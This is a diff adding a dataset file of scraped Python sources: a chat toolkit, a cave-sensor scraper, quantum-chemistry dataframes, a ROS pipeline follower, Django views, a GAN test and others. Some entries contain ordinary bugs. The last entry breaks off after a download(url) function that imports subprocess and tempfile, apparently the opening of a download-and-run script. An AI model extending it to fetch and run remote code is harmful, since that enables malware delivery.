diff --git "a/175.jsonl" "b/175.jsonl" new file mode 100644--- /dev/null +++ "b/175.jsonl" @@ -0,0 +1,760 @@ +{"seq_id":"459195987","text":"# This is an extension of 5_produce_interesting_data.py and will therefore not run on its own\n\n\ndef make_change_balance(\n user_id: str = str(uuid.uuid4()),\n area_id: str = str(uuid.uuid4()),\n timestamp: str = datetime.utcnow().isoformat(),\n balance: int = 10,\n):\n return ChangeBalance(\n user_id=user_id,\n area_id=area_id,\n # timezones are important, let's keep everything utc\n event_timestamp=timestamp,\n balance=balance,\n )\n\n\n# Send a single item, this should write 1 record to its own file\nproducer.produce(\"batch\", json.dumps(asdict(make_change_balance(user_id=\"different\"))))\n# Sleep just to make sure that we are only going to write to a single file\n# (remember that the timeout on the consumer is set to 10 seconds)\ntime.sleep(11)\n\n# Send lots of data, this should write 20 files because we consume in batches of 5\nfor x in range(0, 100):\n producer.produce(\"batch\", json.dumps(asdict(make_change_balance())))\n","sub_path":"Part4/7_produce_lots_of_interesting_data.py","file_name":"7_produce_lots_of_interesting_data.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"185031537","text":"\"\"\"**Bachata** is a chat server toolkit on top of `asyncio`_ and `Tornado`_.\n\n.. _Tornado: http://www.tornadoweb.org/en/stable/\n.. _asyncio: https://docs.python.org/3.4/library/asyncio.html\n\nOverview\n--------\n\n- Requires Python 3.3+\n- Requires Tornado running on asyncio event loop\n- Implements simple messages queue on Redis LPUSH / BRPOP\n- Implements reliable messages delivery on Redis BRPOPLPUSH pattern\n- JSON messages format\n- Custom messages routing\n\n\"\"\"\n__version__ = '0.1.1'\n\nfrom .base import (\n BaseRoute,\n BaseQueue,\n BaseMessagesCenter,\n)\n\nfrom .proto import (\n BaseProtocol,\n)\n\nfrom .routes import (\n DirectRoute,\n)\n\n__all__ = (\n 'BaseRoute',\n 'BaseQueue',\n 'BaseMessagesCenter',\n 'BaseProtocol',\n 'DirectRoute',\n)\n","sub_path":"bachata/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"18534796","text":"# coding=utf-8\n\n# Published 2016\n# Author : sebastien at pittet dot org\n# Public domain source code, under MIT License\n\n\"\"\"\nThis API provides access to Cave-Link data. It has some interest for cavers.\nFollowing libraries are required :\n $ pip install python-dateutil\n\"\"\"\n\nfrom dateutil.parser import *\nimport time\nimport re # to use regular expression in python\nimport urllib2\n\n# ########################## Common definitions #########################\n# Some examples of URL\n_CL_NIVEAU_S2_COVA = \"http://www.cavelink.com/cl/da.php?s=115&g=1&w=103&l=10\"\n_CL_NIVEAU_LANCELEAU = \"http://www.cavelink.com/cl/da.php?s=142&g=20&w=100&l=10\"\n_CL_TEMP_SIPHON = \"http://www.cavelink.com/cl/da.php?s=106&g=1&w=0&l=10\"\n_CL_V_FEES_SUR1 = \"http://www.cavelink.com/cl/da.php?s=142&g=0&w=0&l=10\"\n_CL_TEMP_FEES_SUR1 = \"http://www.cavelink.com/cl/da.php?s=142&g=10&w=1&l=10\"\n\n# Default definitions\ndefault_CL = _CL_NIVEAU_LANCELEAU\ndefault_rows = '10'\n\n#########################################################################\n\n\nclass Cavelink:\n\n \"\"\"\n Parse the webpage used to export the data and\n provides values back.\n \"\"\"\n\n def __init__(self, URL=default_CL, rows=default_rows):\n # Replace number of rows, if provided\n URL = re.sub('(?<=l=)\\d{1,}', str(rows), URL)\n\n webpage = urllib2.Request(URL)\n\n try:\n handle = urllib2.urlopen(webpage)\n except IOError:\n print ('ERROR : unable to get the webpage :-/')\n\n # Get the HTML page\n htmlContent = handle.read()\n\n self.rawData = htmlContent.replace(\",\", \"\") # remove the separator (comma)\n self.data = htmlContent.split(\"
\")\n\n for line in self.data:\n\n match = re.search('(?<=Stn=)\\d{1,}', line)\n if match:\n self.station = match.group(0)\n\n match = re.search('(?<=Grp=)\\d{1,}', line)\n if match:\n self.group = match.group(0)\n\n match = re.search('(?<=Nr=)\\d{1,}', line)\n if match:\n self.number = match.group(0)\n\n match = re.search('(?<=Einheit : )\\w{1,}', line)\n if match:\n self.unit = match.group(0).upper() # uppercase (C | M | ?)\n\n @property\n def station(self):\n return self.station\n\n def group(self):\n return self.group\n\n def number(self):\n return self.number\n\n def unit(self):\n return self.unit\n\n def getData(self):\n DictValues = {}\n\n for line in self.data:\n if IsNotNull(line):\n epochDatetime = findDate(line[0:16])\n if epochDatetime > 0:\n # a date was found on this line\n DictValues[epochDatetime] = float(line[17:]) # Create a dict with values\n return DictValues\n\n# ###################### SOME USEFUL TOOLS ###############################\n\n\ndef IsNotNull(value):\n return value is not None and len(value) > 0\n\n\ndef toEpoch(value):\n return int(time.mktime(time.strptime(value, \"%Y-%m-%d %H:%M:%S\")))\n\n\ndef findDate(inputValue):\n try:\n DateTimeString = str(parse(inputValue, ignoretz=True, dayfirst=True))\n except Exception:\n # if not found, epoch = 0\n DateTimeString = \"1970-01-01 00:00:00\"\n\n # Convert to epoch date time and return the value\n return toEpoch(DateTimeString)\n\n\ndef toHumanTime(epoch):\n return time.strftime(\"%d.%m.%Y %H:%M\", time.localtime(float(epoch)))\n\n######################################################################\n\n\n# auto-test when executed directly\n\nif __name__ == \"__main__\":\n\n from sys import exit, stdout\n\n # If launched interactively, display OK message\n if stdout.isatty():\n # Get last value measured/transmitted (by asking only 1 last row)\n SlumpTemperature = Cavelink(URL=_CL_TEMP_SIPHON, rows=10)\n Data = SlumpTemperature.getData()\n\n print('################################################')\n print('Station ID is: %s' % SlumpTemperature.station)\n print('Group ID is: %s' % SlumpTemperature.group)\n print('Number is: %s' % SlumpTemperature.number)\n print('Unit for this data set is: %s\\n---' % SlumpTemperature.unit)\n\n for key, value in Data.iteritems():\n LastDataValue = value\n LastDataTime = toHumanTime(str(key))\n print('%s : %s %s' % (LastDataTime, LastDataValue, SlumpTemperature.unit))\n\n print('################################################')\n\n exit(0)\n","sub_path":"lcavelink.py","file_name":"lcavelink.py","file_ext":"py","file_size_in_byte":4502,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"609758214","text":"# Copyright 2021 MosaicML. All Rights Reserved.\n\nimport random\n\nimport numpy as np\nimport torch\n\n\ndef get_random_seed() -> int:\n seed = int(torch.empty((), dtype=torch.int64).random_(to=2**32).item())\n return seed\n\n\ndef seed_all(seed: int):\n \"\"\"\n Seed all rng objects\n\n Args:\n seed (int): random seed\n device (Optional[Device]): the\n \"\"\"\n\n random.seed(seed)\n np.random.seed(seed)\n torch.manual_seed(seed)\n # torch.manual_seed may call manual_seed_all but calling it again here\n # to make sure it gets called at least once\n torch.cuda.manual_seed_all(seed)\n","sub_path":"composer/utils/determinism.py","file_name":"determinism.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"278844185","text":"# Change the format of string to \"ababababa...\"\ndef foo(string):\n\tresList = [string[0]]\n\tfor x in range(1, len(string)):\n\t\tif string[x] != resList[-1]:\n\t\t\tresList.append(string[x])\n\treturn \"\".join(resList)\n\nwith open(\"B-large.in\") as readfile:\n\twith open (\"output.txt\", \"w\") as writefile:\n\t\tN = int(readfile.readline())\n\t\tfor x in range(N):\n\t\t\tstring = readfile.readline().strip()\n\t\t\tnewString = foo(string)\n\t\t\t# For \"+-+-+....\", if it ends with \"-\", result is the length of the string, else, result equals (length - 1)\n\t\t\tif newString[-1] == '+':\n\t\t\t\twritefile.write(\"Case #\" + str(x+1) + \": \" + str(len(newString)-1) + \"\\n\")\n\t\t\telse:\n\t\t\t\twritefile.write(\"Case #\" + str(x+1) + \": \" + str(len(newString)) + \"\\n\")","sub_path":"codes/CodeJamCrawler/16_0_2_neat/16_0_2_ThomasChen_Pancakes.py","file_name":"16_0_2_ThomasChen_Pancakes.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"126594385","text":"# -*- coding: utf-8 -*-\n# Copyright (c) 2015-2016, Exa Analytics Development Team\n# Distributed under the terms of the Apache License 2.0\n'''\nOrbital DataFrame\n####################\nOrbital information. All of the dataframe structures and functions associated\nwith the results of a quantum chemical calculation. The Orbital table itself\nsummarizes information such as centers and energies. The Excitation table\ncollects information about orbital excitations from time-dependent calculations.\nThe convolve() bound method can be used to generate photoelectron spectroscopy\nand absorbance spectra.\nThe MOMatrix table contains a C matrix as it is presented in quantum textbooks,\nstored in a columnar format. The bound method square() returns the\nmatrix as one would write it out. This table should have dimensions\nN_basis_functions * N_basis_functions. The DensityMatrix table stores\na triangular matrix in columnar format and contains a similar square()\nmethod to return the matrix as we see it on a piece of paper.\n'''\nimport numpy as np\nimport pandas as pd\nfrom exa import DataFrame\nfrom exatomic import Energy\nfrom exatomic.algorithms.orbital import (density_from_momatrix,\n density_as_square,\n momatrix_as_square)\nfrom exatomic.field import AtomicField\n\nclass _Convolve(DataFrame):\n\n @staticmethod\n def _gauss(sigma, en, en0):\n return (1.0 / (sigma * np.sqrt(2 * np.pi))) * \\\n np.exp(-(en - en0) ** 2 / (2 * sigma ** 2))\n\n @staticmethod\n def _lorentz(gamma, en, en0):\n return gamma / (2 * np.pi * (en - en0) ** 2 + (gamma / 2) ** 2)\n\n def convolve(self, func='gauss', units='eV', ewin=None, broaden=0.13,\n padding=5, npoints=1001, name=None):\n \"\"\"\n Compute a spectrum based on excitation energies and oscillator strengths.\n\n Args\n func (str): either 'gauss' or 'lorentz'\n units (str): units of resulting spectrum\n ewin (iter): (emin, emax) in same units as units (default in eV)\n broaden (float): how broad to make the peaks (FWHM, default in eV)\n npoints (int): \"resolution\" of the spectrum\n name (str): optional - name the column of returned data\n\n Returns\n df (pd.DataFrame): contains x and y values of a spectrum\n (signal and energy)\n \"\"\"\n if func not in ['gauss', 'lorentz']:\n raise NotImplementedError('Convolution must be one of \"gauss\" or \"lorentz\".')\n choices = {'gauss': self._gauss, 'lorentz': self._lorentz}\n if units == 'Ha': units = 'energy'\n if units not in self.columns:\n self[units] = self['energy'] * Energy['Ha', units]\n sm = self[units].min() if ewin is None else ewin[0]\n lg = self[units].max() if ewin is None else ewin[1]\n mine = sm - padding * broaden\n maxe = lg + padding * broaden\n enrg = np.linspace(mine, maxe, npoints)\n spec = np.zeros(npoints)\n if self.__class__.__name__ == 'Excitation':\n smdf = self[(self[units] > sm) & (self[units] < lg)]\n for osc, en0 in zip(smdf['osc'], smdf[units]):\n spec += osc * choices[func](broaden, enrg, en0)\n else:\n smdf = self[(self[units] > sm) & (self[units] < lg) &\n (self['occupation'] > 0)]\n for en0 in smdf[units]:\n spec += choices[func](broaden, enrg, en0)\n if np.isclose(spec.max(), 0):\n print('Spectrum is all zeros, check energy window.')\n else:\n spec /= spec.max()\n name = 'signal' if name is None else name\n return pd.DataFrame.from_dict({units: enrg, name: spec})\n\n\nclass Orbital(_Convolve):\n \"\"\"\n +-------------------+----------+-------------------------------------------+\n | Column | Type | Description |\n +===================+==========+===========================================+\n | frame | category | non-unique integer (req.) |\n +-------------------+----------+-------------------------------------------+\n | orbital | int | vector of MO coefficient matrix |\n +-------------------+----------+-------------------------------------------+\n | label | int | label of orbital |\n +-------------------+----------+-------------------------------------------+\n | occupation | float | population of orbital |\n +-------------------+----------+-------------------------------------------+\n | energy | float | eigenvalue of orbital eigenvector |\n +-------------------+----------+-------------------------------------------+\n | symmetry | str | symmetry designation (if applicable) |\n +-------------------+----------+-------------------------------------------+\n | x | float | orbital center in x |\n +-------------------+----------+-------------------------------------------+\n | y | float | orbital center in y |\n +-------------------+----------+-------------------------------------------+\n | z | float | orbital center in z |\n +-------------------+----------+-------------------------------------------+\n\n Note:\n Spin zero means alpha spin or unknown and spin one means beta spin.\n \"\"\"\n _columns = ['frame', 'energy', 'occupation', 'vector', 'spin']\n _index = 'orbital'\n _cardinal = ('frame', np.int64)\n _categories = {'spin': np.int64}\n\n def get_orbital(self, frame=0, orb=-1, spin=0, index=None):\n \"\"\"\n Returns a specific orbital.\n\n Args\n orb (int): See note below (default HOMO)\n spin (int): 0, no spin or alpha (default); 1, beta\n index (int): Orbital index (default None)\n frame (int): The frame of the universe (default 0)\n\n Returns\n orbital (exatomic.orbital.Orbital): Orbital row\n\n Note\n If the index is not known (usually), but a criterion\n such as (HOMO or LUMO) is desired, use the *orb* and\n *spin* criteria. Negative *orb* values are occupied,\n positive are unoccupied. So -1 returns the HOMO, -2\n returns the HOMO-1; 0 returns the LUMO, 1 returns the\n LUMO+1, etc.\n \"\"\"\n if index is None:\n if orb > -1:\n return self[(self['frame'] == frame) &\n (self['occupation'] == 0) &\n (self['spin'] == spin)].iloc[orb]\n else:\n return self[(self['frame'] == frame) &\n (self['occupation'] > 0) &\n (self['spin'] == spin)].iloc[orb]\n else:\n return self.iloc[index]\n\nclass Excitation(_Convolve):\n \"\"\"\n +-------------------+----------+-------------------------------------------+\n | Column | Type | Description |\n +===================+==========+===========================================+\n | energy | float | excitation energy in Ha |\n +-------------------+----------+-------------------------------------------+\n | irrep | str | irreducible representation of excitation |\n +-------------------+----------+-------------------------------------------+\n | osc | float | oscillator strength (length repr.) |\n +-------------------+----------+-------------------------------------------+\n | occ | int | occupied orbital of excitation |\n +-------------------+----------+-------------------------------------------+\n | virt | int | virtual orbital of excitation |\n +-------------------+----------+-------------------------------------------+\n | occsym | str | occupied orbital symmetry |\n +-------------------+----------+-------------------------------------------+\n | virtsym | str | virtual orbital symmetry |\n +-------------------+----------+-------------------------------------------+\n | frame | int | non-unique integer (req.) |\n +-------------------+----------+-------------------------------------------+\n \"\"\"\n _columns = ['energy', 'osc', 'frame']\n _index = 'excitation'\n _cardinal = ('frame', np.int64)\n _categories = {}\n\n\nclass MOMatrix(DataFrame):\n \"\"\"\n The MOMatrix is the result of solving a quantum mechanical eigenvalue\n problem in a finite basis set. Individual columns are eigenfunctions\n of the Fock matrix with eigenvalues corresponding to orbital energies.\n\n .. math::\n\n C^{*}SC = 1\n\n +-------------------+----------+-------------------------------------------+\n | Column | Type | Description |\n +===================+==========+===========================================+\n | chi | int | row of MO coefficient matrix |\n +-------------------+----------+-------------------------------------------+\n | orbital | int | vector of MO coefficient matrix |\n +-------------------+----------+-------------------------------------------+\n | coef | float | weight of basis_function in MO |\n +-------------------+----------+-------------------------------------------+\n | frame | category | non-unique integer (req.) |\n +-------------------+----------+-------------------------------------------+\n \"\"\"\n # TODO :: add spin as a column and make it the first groupby?\n #_traits = ['orbital']\n _columns = ['chi', 'orbital']\n _cardinal = ('frame', np.int64)\n _index = 'index'\n\n def contributions(self, orbital, tol=0.01, frame=0):\n \"\"\"\n Returns a slice containing all non-negligible basis function\n contributions to a specific orbital.\n\n Args\n orbital (int): orbital index\n \"\"\"\n tmp = self[self['frame'] == frame].groupby('orbital').get_group(orbital)\n return tmp[abs(tmp['coef']) > tol]\n\n\n def square(self, frame=0, column='coef'):\n \"\"\"\n Returns a square dataframe corresponding to the canonical C matrix\n representation.\n \"\"\"\n movec = self[self['frame'] == frame][column].values\n square = pd.DataFrame(momatrix_as_square(movec))\n square.index.name = 'chi'\n square.columns.name = 'orbital'\n return square\n\n\nclass DensityMatrix(DataFrame):\n \"\"\"\n The density matrix in a contracted basis set. As it is\n square symmetric, only n_basis_functions * (n_basis_functions + 1) / 2\n rows are stored.\n\n +-------------------+----------+-------------------------------------------+\n | Column | Type | Description |\n +===================+==========+===========================================+\n | chi1 | int | first basis function |\n +-------------------+----------+-------------------------------------------+\n | chi2 | int | second basis function |\n +-------------------+----------+-------------------------------------------+\n | coef | float | overlap matrix element |\n +-------------------+----------+-------------------------------------------+\n | frame | category | non-unique integer (req.) |\n +-------------------+----------+-------------------------------------------+\n \"\"\"\n _columns = ['chi1', 'chi2', 'coef']\n _cardinal = ('frame', np.int64)\n _index = 'index'\n\n def square(self, frame=0):\n \"\"\"Returns a square dataframe of the density matrix.\"\"\"\n denvec = self[self['frame'] == frame]['coef'].values\n square = pd.DataFrame(density_as_square(denvec))\n square.index.name = 'chi1'\n square.columns.name = 'chi2'\n return square\n\n @classmethod\n def from_momatrix(cls, momatrix, occvec):\n \"\"\"\n A density matrix can be constructed from an MOMatrix by:\n .. math::\n\n D_{uv} = \\sum_{i}^{N} C_{ui} C_{vi} n_{i}\n\n Args:\n momatrix (:class:`~exatomic.orbital.MOMatrix`): a C matrix\n occvec (:class:`~np.array` or similar): vector of len(C.shape[0])\n containing the occupations of each molecular orbital.\n\n Returns:\n ret (:class:`~exatomic.orbital.DensityMatrix`): The density matrix\n \"\"\"\n cmat = momatrix.square().values\n chi1, chi2, dens, frame = density_from_momatrix(cmat, occvec)\n return cls.from_dict({'chi1': chi1, 'chi2': chi2,\n 'coef': dens, 'frame': frame})\n","sub_path":"exatomic/orbital.py","file_name":"orbital.py","file_ext":"py","file_size_in_byte":13182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"119081954","text":"#!/usr/bin/env python\nfrom typing import Optional\n\nimport math\nimport rclpy\nimport threading\n\nfrom rclpy.lifecycle import Node\nfrom rclpy.lifecycle import Publisher\nfrom rclpy.lifecycle import State\nfrom rclpy.lifecycle import TransitionCallbackReturn\nfrom rclpy.timer import Timer\n\nfrom suave_msgs.srv import GetPath\nfrom suave.bluerov_gazebo import BlueROVGazebo\n\nfrom std_msgs.msg import Bool\nfrom std_msgs.msg import Float32\n\n\nclass PipelineFollowerLC(Node):\n\n def __init__(self, node_name, **kwargs):\n super().__init__(node_name, **kwargs)\n self.trigger_configure()\n self.abort_follow = False\n self.distance_inspected = 0\n\n def on_configure(self, state: State) -> TransitionCallbackReturn:\n self.get_logger().info(\"on_configure() is called.\")\n self.ardusub = BlueROVGazebo('bluerov_pipeline_follower')\n self.thread = threading.Thread(\n target=rclpy.spin, args=(self.ardusub, ), daemon=True)\n self.thread.start()\n\n self.get_path_timer = self.create_rate(5)\n self.get_path_service = self.create_client(\n GetPath, 'pipeline/get_path')\n\n self.pipeline_inspected_pub = self.create_lifecycle_publisher(\n Bool, 'pipeline/inspected', 10)\n\n self.pipeline_distance_inspected_pub = self.create_publisher(\n Float32, 'pipeline/distance_inspected', 10)\n return TransitionCallbackReturn.SUCCESS\n\n def on_activate(self, state: State) -> TransitionCallbackReturn:\n self.get_logger().info(\"on_activate() is called.\")\n if not self.get_path_service.wait_for_service(timeout_sec=1.0):\n self.get_logger().info(\n 'pipeline/get_path service is not available')\n return TransitionCallbackReturn.FAILURE\n if self.executor is None:\n self.get_logger().info('Executor is None')\n return TransitionCallbackReturn.FAILURE\n else:\n self.executor.create_task(self.follow_pipeline)\n self.abort_follow = False\n\n return super().on_activate(state)\n\n def on_deactivate(self, state: State) -> TransitionCallbackReturn:\n self.get_logger().info(\"on_deactivate() is called.\")\n self.abort_follow = True\n return super().on_deactivate(state)\n\n def on_cleanup(self, state: State) -> TransitionCallbackReturn:\n self.get_logger().info('on_cleanup() is called.')\n self.ardusub.destroy_node()\n self.thread.join()\n self.follow_pipeline_thread.join()\n return TransitionCallbackReturn.SUCCESS\n\n def on_shutdown(self, state: State) -> TransitionCallbackReturn:\n self.get_logger().info('on_shutdown() is called.')\n self.ardusub.destroy_node()\n self.thread.join()\n self.follow_pipeline_thread.join()\n return TransitionCallbackReturn.SUCCESS\n\n def follow_pipeline(self):\n self.get_logger().info(\"Follow pipeline started\")\n\n pipe_path = self.get_path_service.call_async(GetPath.Request())\n\n timer = self.ardusub.create_rate(5) # Hz\n while not pipe_path.done():\n if self.abort_follow is True:\n return\n timer.sleep()\n\n last_point = None\n self.distance_inspected = 0\n for gz_pose in pipe_path.result().path.poses:\n if self.abort_follow is True:\n return\n setpoint = self.ardusub.setpoint_position_gz(\n gz_pose, fixed_altitude=True)\n\n count = 0\n while not self.ardusub.check_setpoint_reached_xy(setpoint, 0.5):\n if self.abort_follow is True:\n self.distance_inspected += self.calc_distance(\n last_point, self.ardusub.local_pos)\n dist = Float32()\n dist.data = self.distance_inspected\n self.pipeline_distance_inspected_pub.publish(dist)\n return\n if count > 10:\n setpoint = self.ardusub.setpoint_position_gz(\n gz_pose, fixed_altitude=True)\n count += 1\n timer.sleep()\n\n if last_point is not None:\n self.distance_inspected += self.calc_distance(\n last_point, setpoint)\n dist = Float32()\n dist.data = self.distance_inspected\n self.pipeline_distance_inspected_pub.publish(dist)\n last_point = setpoint\n\n pipe_inspected = Bool()\n pipe_inspected.data = True\n self.pipeline_inspected_pub.publish(pipe_inspected)\n self.get_logger().info(\"Follow pipeline completed\")\n\n def calc_distance(self, pose1, pose2):\n return math.sqrt(\n (pose1.pose.position.x - pose2.pose.position.x)**2 +\n (pose1.pose.position.y - pose2.pose.position.y)**2)\n\n\ndef main():\n rclpy.init()\n\n executor = rclpy.executors.MultiThreadedExecutor()\n lc_node = PipelineFollowerLC('f_follow_pipeline_node')\n executor.add_node(lc_node)\n try:\n executor.spin()\n except (KeyboardInterrupt, rclpy.executors.ExternalShutdownException):\n lc_node.destroy_node()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"suave/suave/follow_pipeline_lc.py","file_name":"follow_pipeline_lc.py","file_ext":"py","file_size_in_byte":5220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"36711314","text":"\"\"\"Program to producing a list of marks that are below one std. dev. from mean\r\nGary Finkelstein\r\n13 May 2014\"\"\"\r\n\r\nimport math\r\nfileName = input(\"Enter the marks filename:\\n\")\r\n\r\nf = open(fileName, \"r\")\r\ncount = 0\r\ntot = 0\r\nstddevtot = 0\r\nlength = len(open(fileName).readlines())\r\nnames = []\r\nmarks = []\r\nline = f.readline()\r\n#Splitting names and marks into arrays\r\nfor i in range(length):\r\n split = line.split(\",\")\r\n names.append(split[0])\r\n marks.append(split[1])\r\n count += 1\r\n line = f.readline()\r\n\r\n#Adding all marks\r\nfor i in range(len(marks)):\r\n tot = tot + int(marks[i])\r\navg = tot/count\r\n\r\n#caculating standard deviation (First varience)\r\nfor i in range(len(marks)):\r\n stddevtot = stddevtot + (int(marks[i])-avg)*(int(marks[i])-avg)\r\n#Now calculating std dev\r\nstddev = math.sqrt(stddevtot/count)\r\n\r\n#displaying the required information\r\nprint(\"The average is:\",\"%0.2f\" % (avg))\r\nprint(\"The std deviation is:\",\"%0.2f\" % (stddev))\r\nNumberOfStudents = 0\r\nfor i in range(len(marks)):\r\n if int(marks[i]) < (avg-stddev):\r\n NumberOfStudents += 1\r\n \r\nif NumberOfStudents != 0:\r\n print(\"List of students who need to see an advisor:\")\r\n for i in range(len(marks)):\r\n if int(marks[i]) < (avg-stddev):\r\n print(names[i])","sub_path":"examples/data/Assignment_9/fnkgar002/question1.py","file_name":"question1.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"89987895","text":"from django.shortcuts import render\r\nfrom .models import Cars, Transmissions, Ranks\r\n\r\n\r\ndef cars(request):\r\n all_car = Cars.objects.all()\r\n transmission = Transmissions.objects.all()\r\n classes = Ranks.objects.all()\r\n context = {'Cars': all_car, 'Transmissions': transmission, 'classes': classes}\r\n return render(request, 'Cars/Cars.html', context)\r\n\r\n\r\ndef filter_by_transmissions(request, transmission_id):\r\n car = Cars.objects.filter(transmission=transmission_id)\r\n transmission = Transmissions.objects.all()\r\n context = {'Cars': car, 'Transmissions': transmission}\r\n return render(request, 'Cars/by_transmissions.html', context)\r\n\r\n\r\ndef filter_by_class(request, class_id):\r\n car = Cars.objects.filter(rank=class_id)\r\n classes = Ranks.objects.all()\r\n context = {'Cars': car, 'classes': classes}\r\n return render(request, 'Cars/by_classes.html', context)","sub_path":"Cars/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"156154284","text":"import argparse\n\nimport cv2\nimport numpy as np\nimport tensorflow as tf\nimport neuralgym as ng\nfrom scipy.misc import imread, imsave\n# import logging\nimport socket\n\nimport progressive_model\n\nparser = argparse.ArgumentParser()\n# parser.add_argument('--image', default='', type=str,\n# help='The filename of image to be completed.')\n# parser.add_argument('--mask', default='', type=str,\n# help='The filename of mask, value 255 indicates mask.')\n# parser.add_argument('--output', default='output.png', type=str,\n# help='Where to write output.')\nparser.add_argument('--checkpoint_dir', default='', type=str,\n help='The directory of tensorflow checkpoint.')\n\n\nif __name__ == \"__main__\":\n config = ng.Config('progressive_gan.yml')\n if config.GPU_ID != -1:\n ng.set_gpus(config.GPU_ID)\n else:\n ng.get_gpus(config.NUM_GPUS)\n np.random.seed(config.RANDOM_SEED)\n\n # ng.get_gpus(1)\n args = parser.parse_args()\n\n model = progressive_model.ProgressiveGAN(1024, config)\n\n sess_config = tf.ConfigProto()\n sess_config.gpu_options.allow_growth = True\n with tf.Session(config=sess_config) as sess:\n z = tf.placeholder(tf.float32, [config.BATCH_SIZE, 1, 1, 512], name='z')\n mask = tf.placeholder(tf.float32, [config.BATCH_SIZE, config.CURRENT_RESOLUTION, config.CURRENT_RESOLUTION, 3], name='mask')\n orig = tf.placeholder(tf.float32, [config.BATCH_SIZE, config.CURRENT_RESOLUTION, config.CURRENT_RESOLUTION, 3], name='real_images')\n\n # orig_ = orig * mask\n\n outputs, grads = model.build_graph_with_opt(z, mask, orig, config)\n\n # output = (output + 1.) * 127.5\n # output = tf.reverse(output, [-1])\n # output = tf.saturate_cast(output, tf.uint8)\n\n # load pretrained model\n print (ProgressiveGAN.load(args.checkpoint_dir))\n # vars_list = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)\n # assign_ops = []\n # for var in vars_list:\n # vname = var.name\n # from_name = vname\n # var_value = tf.contrib.framework.load_variable(args.checkpoint_dir, from_name)\n # assign_ops.append(tf.assign(var, var_value))\n\n ### Implement iterative opt here\n z_ = np.random.uniform(-1, 1, ([config.BATCH_SIZE, 1, 1, 512]))\n orig_ = np.random.uniform(-1, 1, [config.BATCH_SIZE, config.CURRENT_RESOLUTION, config.CURRENT_RESOLUTION, 3])\n mask_ = np.random.randint( 0, 2, [config.BATCH_SIZE, config.CURRENT_RESOLUTION, config.CURRENT_RESOLUTION, 3])\n\n imgs_out = sess.run(outputs, feed_dict={z:z_, orig:orig_, mask:mask_})\n\n imsave('sample.png', imgs_out[0])\n # print('Model loaded.')\n # result = sess.run(output)\n # cv2.imwrite(args.output, result[0][:, :, ::-1])\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":2838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"575974853","text":"from setuptools import setup\n\n\nNAME = \"itzpip\"\n\nPACKAGES = [\"itzpip\",]\n\nDESCRIPTION = \"itz libs\"\n\nKEYWORDS = \"itz\"\n\nAUTHOR = \"XinLi\"\n\nAUTHOR_EMAIL = \"lixin@itouzi.com\"\n\nVERSION = \"0.0.4\"\n\nLICENSE = \"MIT\"\n\nsetup(\n name = NAME,\n version = VERSION,\n description = DESCRIPTION,\n classifiers = [\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python',\n 'Intended Audience :: Developers',\n 'Operating System :: OS Independent',\n ],\n keywords = KEYWORDS,\n author = AUTHOR,\n author_email = AUTHOR_EMAIL,\n license = LICENSE,\n packages = PACKAGES,\n include_package_data=True,\n zip_safe=True,\n)","sub_path":"pypi_install_script/itzpip-0.0.4.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"141247489","text":"# -*- coding: utf-8 -*-\n\nimport time\nimport serial\nimport sys\nimport string\nimport binascii\n\n# initialisation port serie Arduino\nser = serial.Serial('/dev/ttyAMA0', 9600)\n\ni=0\n\n# attente des demandes de l'arduino\nwhile True :\n try:\n data = ser.readline()\n print (data, \"\\n\")\n \n if \"DEMANDEOPTIONS\" in str(data):\n # ouverture du fichier d'options et envoi\n fichier = open ( \"confgp.txt\", \"rt\")\n for ligne in fichier:\n # lecture d'une ligne de fichier, suppression de fin de ligne\n ligne = ligne.rstrip('\\r')\n print (\"Fichier: \", ligne)\n # envoi de ligne par serie avec protocole\n ser.write(bytes(ligne.encode('ascii')))\n time.sleep (1)\n fichier.close()\n ligne = \"FINOPTIONS\"\n ser.write(bytes(ligne.encode('ascii')))\n\n # ligne = \"Hello\\n\";\n # lignebytes = bytes(ligne.encode('ascii'))\n \n # ligne = \"Pi Hello \" + str(i) + \"\\n\";\n # lignebytes = bytes(ligne.encode('ascii'))\n # data=ser.readline()\n # print (data, \"\\n\")\n # ser.write(lignebytes)\n # time.sleep (1)\n # i=i+1\n # if i == 10:\n # i=0\n\n except:\n print (\"Erreur\", sys.exc_info())\n sys.exit()\n\n\nwhile True :\n try:\n ligne = \"Pi Hello \" + str(i) + \"\\n\";\n lignebytes = bytes(ligne.encode('ascii'))\n data=ser.readline()\n print (data, \"\\n\")\n ser.write(lignebytes)\n time.sleep (1)\n i=i+1\n if i == 10:\n i=0\n except:\n print (\"Erreur\", sys.exc_info())\n sys.exit()\n","sub_path":"Pi/testserie.py","file_name":"testserie.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"274724022","text":"#!/usr/bin/env python\nimport requests,subprocess,re,tempfile,os\n\ndef download(url):\n get_response = requests.get(url)\n file_name = url.split(\"/\")[-1]\n with open(file_name,\"wb\") as 